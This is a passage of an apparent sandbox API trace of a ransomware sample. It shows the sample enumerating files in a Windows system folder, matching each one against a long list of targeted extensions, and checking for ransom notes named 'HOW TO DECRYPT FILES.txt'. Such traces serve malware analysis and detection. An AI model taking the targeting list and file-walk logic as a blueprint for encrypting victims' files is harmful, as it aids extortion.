[0143.770] lstrlenA (lpString="*.asm") returned 5 [0143.770] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.pfx") returned 0 [0143.770] lstrlenA (lpString="*.pfx") returned 5 [0143.770] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.pem") returned 0 [0143.770] lstrlenA (lpString="*.pem") returned 5 [0143.770] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.p12") returned 0 [0143.770] lstrlenA (lpString="*.p12") returned 5 [0143.770] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.gpg") returned 0 [0143.770] lstrlenA (lpString="*.gpg") returned 5 [0143.770] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.vsd") returned 0 [0143.770] lstrlenA (lpString="*.vsd") returned 5 [0143.771] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.odg") returned 0 [0143.771] lstrlenA (lpString="*.odg") returned 5 [0143.771] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.raw") returned 0 [0143.771] lstrlenA (lpString="*.raw") returned 5 [0143.771] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.nef") returned 0 [0143.771] lstrlenA (lpString="*.nef") returned 5 [0143.771] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.svg") returned 0 [0143.771] lstrlenA (lpString="*.svg") returned 5 [0143.771] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.psd") returned 0 [0143.771] lstrlenA (lpString="*.psd") returned 5 [0143.771] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.vmx") returned 0 [0143.771] lstrlenA (lpString="*.vmx") returned 5 [0143.771] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.vmdk") returned 0 [0143.771] lstrlenA (lpString="*.vmdk") returned 6 [0143.771] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.vdi") returned 0 [0143.771] lstrlenA (lpString="*.vdi") returned 5 [0143.771] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.lay6") returned 0 [0143.771] lstrlenA (lpString="*.lay6") returned 6 [0143.771] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.mpeg") returned 0 [0143.771] lstrlenA (lpString="*.mpeg") returned 6 [0143.771] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.djvu") returned 0 [0143.771] lstrlenA (lpString="*.djvu") returned 6 [0143.771] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.tiff") returned 0 [0143.771] lstrlenA (lpString="*.tiff") returned 6 [0143.771] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.backup") returned 0 [0143.771] lstrlenA (lpString="*.backup") returned 8 [0143.772] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.pdf") returned 0 [0143.772] lstrlenA (lpString="*.pdf") returned 5 [0143.772] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.cert") returned 0 [0143.772] lstrlenA (lpString="*.cert") returned 6 [0143.773] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.docm") returned 0 [0143.773] lstrlenA (lpString="*.docm") returned 6 [0143.773] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.xlsm") returned 0 [0143.773] lstrlenA (lpString="*.xlsm") returned 6 [0143.773] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.dwg") returned 0 [0143.773] lstrlenA (lpString="*.dwg") returned 5 [0143.773] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.nd") returned 0 [0143.773] lstrlenA (lpString="*.nd") returned 4 [0143.773] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.tlg") returned 0 [0143.773] lstrlenA (lpString="*.tlg") returned 5 [0143.773] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.lgb") returned 0 [0143.773] lstrlenA (lpString="*.lgb") returned 5 [0143.773] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.mov") returned 0 [0143.773] lstrlenA (lpString="*.mov") returned 5 [0143.773] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.xdw") returned 0 [0143.773] lstrlenA (lpString="*.xdw") returned 5 [0143.773] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.ods") returned 0 [0143.773] lstrlenA (lpString="*.ods") returned 5 [0143.773] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.wav") returned 0 [0143.773] lstrlenA (lpString="*.wav") returned 5 [0143.773] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.mp3") returned 0 [0143.773] lstrlenA (lpString="*.mp3") returned 5 [0143.773] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.aiff") returned 0 [0143.773] lstrlenA (lpString="*.aiff") returned 6 [0143.773] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.flac") returned 0 [0143.773] lstrlenA (lpString="*.flac") returned 6 [0143.773] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.m4a") returned 0 [0143.774] lstrlenA (lpString="*.m4a") returned 5 [0143.774] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.chk", pszSpec="*.csv") returned 0 [0143.774] lstrlenA (lpString="*.csv") returned 5 [0143.774] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f05e3, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x4866a460, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xf21ac260, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.log", cAlternateFileName="")) returned 1 [0143.774] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0143.774] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="edb.log") returned -1 [0143.774] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="edb.log") returned 1 [0143.774] lstrcmpiA (lpString1="", lpString2="edb.log") returned -1 [0143.774] PathFindFileNameA (pszPath="C:\\Windows\\System32\\catroot2\\edb.chk") returned="edb.chk" [0143.774] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\catroot2\\" | out: lpString1="C:\\Windows\\System32\\catroot2\\") returned="C:\\Windows\\System32\\catroot2\\" [0143.774] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\catroot2\\" | out: pszPath="C:\\Windows\\System32\\catroot2\\") returned="" [0143.774] lstrcatA (in: lpString1="C:\\Windows\\System32\\catroot2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\catroot2\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\catroot2\\HOW TO DECRYPT FILES.txt" [0143.774] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\catroot2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\catroot2\\how to decrypt files.txt")) returned 0x2020 [0143.774] lstrcatA (in: lpString1="C:\\Windows\\System32\\catroot2\\", lpString2="edb.log" | out: lpString1="C:\\Windows\\System32\\catroot2\\edb.log") returned="C:\\Windows\\System32\\catroot2\\edb.log" [0143.774] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.ems") returned 0 [0143.774] lstrlenA (lpString="*.ems") returned 5 [0143.774] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.db") returned 0 [0143.774] lstrlenA (lpString="*.db") returned 4 [0143.774] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.dbf") returned 0 [0143.774] lstrlenA (lpString="*.dbf") returned 5 [0143.774] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.myox") returned 0 [0143.774] lstrlenA (lpString="*.myox") returned 6 [0143.774] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.myo") returned 0 [0143.775] lstrlenA (lpString="*.myo") returned 5 [0143.775] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.qbw") returned 0 [0143.775] lstrlenA (lpString="*.qbw") returned 5 [0143.775] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.qbb") returned 0 [0143.775] lstrlenA (lpString="*.qbb") returned 5 [0143.775] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.qbm") returned 0 [0143.775] lstrlenA (lpString="*.qbm") returned 5 [0143.775] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.qbo") returned 0 [0143.775] lstrlenA (lpString="*.qbo") returned 5 [0143.775] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.qbx") returned 0 [0143.775] lstrlenA (lpString="*.qbx") returned 5 [0143.775] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.qba") returned 0 [0143.775] lstrlenA (lpString="*.qba") returned 5 [0143.775] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.qby") returned 0 [0143.775] lstrlenA (lpString="*.qby") returned 5 [0143.775] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.qbj") returned 0 [0143.775] lstrlenA (lpString="*.qbj") returned 5 [0143.775] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.ofx") returned 0 [0143.775] lstrlenA (lpString="*.ofx") returned 5 [0143.775] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.qif") returned 0 [0143.775] lstrlenA (lpString="*.qif") returned 5 [0143.775] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.mye") returned 0 [0143.775] lstrlenA (lpString="*.mye") returned 5 [0143.775] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.mbox") returned 0 [0143.775] lstrlenA (lpString="*.mbox") returned 6 [0143.776] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.eml") returned 0 [0143.776] lstrlenA (lpString="*.eml") returned 5 [0143.776] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.pst") returned 0 [0143.776] lstrlenA (lpString="*.pst") returned 5 [0143.776] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.ost") returned 0 [0143.776] lstrlenA (lpString="*.ost") returned 5 [0143.776] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.idx") returned 0 [0143.776] lstrlenA (lpString="*.idx") returned 5 [0143.776] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.dbx") returned 0 [0143.776] lstrlenA (lpString="*.dbx") returned 5 [0143.776] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.sql") returned 0 [0143.776] lstrlenA (lpString="*.sql") returned 5 [0143.776] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.mdb") returned 0 [0143.776] lstrlenA (lpString="*.mdb") returned 5 [0143.776] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.fdb") returned 0 [0143.776] lstrlenA (lpString="*.fdb") returned 5 [0143.776] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.wab") returned 0 [0143.776] lstrlenA (lpString="*.wab") returned 5 [0143.776] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.dat") returned 0 [0143.776] lstrlenA (lpString="*.dat") returned 5 [0143.776] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.txt") returned 0 [0143.776] lstrlenA (lpString="*.txt") returned 5 [0143.776] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.jpeg") returned 0 [0143.776] lstrlenA (lpString="*.jpeg") returned 6 [0143.776] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.jpg") returned 0 [0143.776] lstrlenA (lpString="*.jpg") returned 5 [0143.777] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.png") returned 0 [0143.777] lstrlenA (lpString="*.png") returned 5 [0143.777] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.php") returned 0 [0143.777] lstrlenA (lpString="*.php") returned 5 [0143.777] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.cs") returned 0 [0143.777] lstrlenA (lpString="*.cs") returned 4 [0143.777] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.cpp") returned 0 [0143.777] lstrlenA (lpString="*.cpp") returned 5 [0143.777] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.rar") returned 0 [0143.777] lstrlenA (lpString="*.rar") returned 5 [0143.777] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.zip") returned 0 [0143.777] lstrlenA (lpString="*.zip") returned 5 [0143.777] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.html") returned 0 [0143.777] lstrlenA (lpString="*.html") returned 6 [0143.777] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.htm") returned 0 [0143.777] lstrlenA (lpString="*.htm") returned 5 [0143.777] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.xlsx") returned 0 [0143.777] lstrlenA (lpString="*.xlsx") returned 6 [0143.777] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.xls") returned 0 [0143.777] lstrlenA (lpString="*.xls") returned 5 [0143.777] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.mp4") returned 0 [0143.777] lstrlenA (lpString="*.mp4") returned 5 [0143.777] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.ppt") returned 0 [0143.777] lstrlenA (lpString="*.ppt") returned 5 [0143.777] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.pptx") returned 0 [0143.777] lstrlenA (lpString="*.pptx") returned 6 [0143.777] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.doc") returned 0 [0143.778] lstrlenA (lpString="*.doc") returned 5 [0143.778] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.dot") returned 0 [0143.778] lstrlenA (lpString="*.dot") returned 5 [0143.778] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.docx") returned 0 [0143.778] lstrlenA (lpString="*.docx") returned 6 [0143.778] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.7z") returned 0 [0143.778] lstrlenA (lpString="*.7z") returned 4 [0143.778] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.tar") returned 0 [0143.778] lstrlenA (lpString="*.tar") returned 5 [0143.778] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.bz2") returned 0 [0143.778] lstrlenA (lpString="*.bz2") returned 5 [0143.778] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.gz") returned 0 [0143.778] lstrlenA (lpString="*.gz") returned 4 [0143.778] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.mkv") returned 0 [0143.778] lstrlenA (lpString="*.mkv") returned 5 [0143.778] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.eml") returned 0 [0143.778] lstrlenA (lpString="*.eml") returned 5 [0143.778] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.msg") returned 0 [0143.778] lstrlenA (lpString="*.msg") returned 5 [0143.778] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.edb") returned 0 [0143.778] lstrlenA (lpString="*.edb") returned 5 [0143.778] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.accdb") returned 0 [0143.778] lstrlenA (lpString="*.accdb") returned 7 [0143.778] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.odb") returned 0 [0143.778] lstrlenA (lpString="*.odb") returned 5 [0143.778] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.java") returned 0 [0143.779] lstrlenA (lpString="*.java") returned 6 [0143.779] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.asm") returned 0 [0143.779] lstrlenA (lpString="*.asm") returned 5 [0143.779] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.pfx") returned 0 [0143.779] lstrlenA (lpString="*.pfx") returned 5 [0143.779] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.pem") returned 0 [0143.779] lstrlenA (lpString="*.pem") returned 5 [0143.779] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.p12") returned 0 [0143.779] lstrlenA (lpString="*.p12") returned 5 [0143.779] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.gpg") returned 0 [0143.779] lstrlenA (lpString="*.gpg") returned 5 [0143.779] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.vsd") returned 0 [0143.779] lstrlenA (lpString="*.vsd") returned 5 [0143.779] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.odg") returned 0 [0143.779] lstrlenA (lpString="*.odg") returned 5 [0143.779] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.raw") returned 0 [0143.779] lstrlenA (lpString="*.raw") returned 5 [0143.779] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.nef") returned 0 [0143.779] lstrlenA (lpString="*.nef") returned 5 [0143.779] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.svg") returned 0 [0143.779] lstrlenA (lpString="*.svg") returned 5 [0143.779] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.psd") returned 0 [0143.779] lstrlenA (lpString="*.psd") returned 5 [0143.779] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.vmx") returned 0 [0143.779] lstrlenA (lpString="*.vmx") returned 5 [0143.779] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.vmdk") returned 0 [0143.780] lstrlenA (lpString="*.vmdk") returned 6 [0143.780] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.vdi") returned 0 [0143.780] lstrlenA (lpString="*.vdi") returned 5 [0143.780] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.lay6") returned 0 [0143.780] lstrlenA (lpString="*.lay6") returned 6 [0143.780] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.mpeg") returned 0 [0143.780] lstrlenA (lpString="*.mpeg") returned 6 [0143.780] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.djvu") returned 0 [0143.780] lstrlenA (lpString="*.djvu") returned 6 [0143.780] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.tiff") returned 0 [0143.780] lstrlenA (lpString="*.tiff") returned 6 [0143.780] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.backup") returned 0 [0143.780] lstrlenA (lpString="*.backup") returned 8 [0143.780] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.pdf") returned 0 [0143.780] lstrlenA (lpString="*.pdf") returned 5 [0143.780] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.cert") returned 0 [0143.780] lstrlenA (lpString="*.cert") returned 6 [0143.780] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.docm") returned 0 [0143.780] lstrlenA (lpString="*.docm") returned 6 [0143.780] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.xlsm") returned 0 [0143.780] lstrlenA (lpString="*.xlsm") returned 6 [0143.780] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.dwg") returned 0 [0143.780] lstrlenA (lpString="*.dwg") returned 5 [0143.780] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.nd") returned 0 [0143.780] lstrlenA (lpString="*.nd") returned 4 [0143.780] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.tlg") returned 0 [0143.781] lstrlenA (lpString="*.tlg") returned 5 [0143.781] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.lgb") returned 0 [0143.781] lstrlenA (lpString="*.lgb") returned 5 [0143.781] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.mov") returned 0 [0143.781] lstrlenA (lpString="*.mov") returned 5 [0143.781] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.xdw") returned 0 [0143.781] lstrlenA (lpString="*.xdw") returned 5 [0143.781] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.ods") returned 0 [0143.781] lstrlenA (lpString="*.ods") returned 5 [0143.781] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.wav") returned 0 [0143.781] lstrlenA (lpString="*.wav") returned 5 [0143.781] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.mp3") returned 0 [0143.781] lstrlenA (lpString="*.mp3") returned 5 [0143.781] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.aiff") returned 0 [0143.781] lstrlenA (lpString="*.aiff") returned 6 [0143.781] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.flac") returned 0 [0143.781] lstrlenA (lpString="*.flac") returned 6 [0143.781] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.m4a") returned 0 [0143.781] lstrlenA (lpString="*.m4a") returned 5 [0143.781] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb.log", pszSpec="*.csv") returned 0 [0143.781] lstrlenA (lpString="*.csv") returned 5 [0143.781] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f05e3, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0xd055fe30, ftLastAccessTime.dwHighDateTime=0x1d2dda3, ftLastWriteTime.dwLowDateTime=0xa4a4b890, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb0054E.log", cAlternateFileName="")) returned 1 [0143.781] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0143.781] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="edb0054E.log") returned -1 [0143.781] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="edb0054E.log") returned 1 [0143.781] lstrcmpiA (lpString1="", lpString2="edb0054E.log") returned -1 [0143.781] PathFindFileNameA (pszPath="C:\\Windows\\System32\\catroot2\\edb.log") returned="edb.log" [0143.782] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\catroot2\\" | out: lpString1="C:\\Windows\\System32\\catroot2\\") returned="C:\\Windows\\System32\\catroot2\\" [0143.782] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\catroot2\\" | out: pszPath="C:\\Windows\\System32\\catroot2\\") returned="" [0143.782] lstrcatA (in: lpString1="C:\\Windows\\System32\\catroot2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\catroot2\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\catroot2\\HOW TO DECRYPT FILES.txt" [0143.782] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\catroot2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\catroot2\\how to decrypt files.txt")) returned 0x2020 [0143.782] lstrcatA (in: lpString1="C:\\Windows\\System32\\catroot2\\", lpString2="edb0054E.log" | out: lpString1="C:\\Windows\\System32\\catroot2\\edb0054E.log") returned="C:\\Windows\\System32\\catroot2\\edb0054E.log" [0143.782] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.ems") returned 0 [0143.782] lstrlenA (lpString="*.ems") returned 5 [0143.782] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.db") returned 0 [0143.782] lstrlenA (lpString="*.db") returned 4 [0143.782] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.dbf") returned 0 [0143.782] lstrlenA (lpString="*.dbf") returned 5 [0143.782] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.myox") returned 0 [0143.782] lstrlenA (lpString="*.myox") returned 6 [0143.782] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.myo") returned 0 [0143.782] lstrlenA (lpString="*.myo") returned 5 [0143.782] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.qbw") returned 0 [0143.782] lstrlenA (lpString="*.qbw") returned 5 [0143.782] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.qbb") returned 0 [0143.782] lstrlenA (lpString="*.qbb") returned 5 [0143.782] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.qbm") returned 0 [0143.782] lstrlenA (lpString="*.qbm") returned 5 [0143.782] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.qbo") returned 0 [0143.782] lstrlenA (lpString="*.qbo") returned 5 [0143.783] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.qbx") returned 0 [0143.783] lstrlenA (lpString="*.qbx") returned 5 [0143.783] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.qba") returned 0 [0143.783] lstrlenA (lpString="*.qba") returned 5 [0143.783] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.qby") returned 0 [0143.783] lstrlenA (lpString="*.qby") returned 5 [0143.783] PathMatchSpecA (pszFile="C:\\Windows\\System32\\catroot2\\edb0054E.log", pszSpec="*.qbj") returned 0 [0143.783] lstrlenA 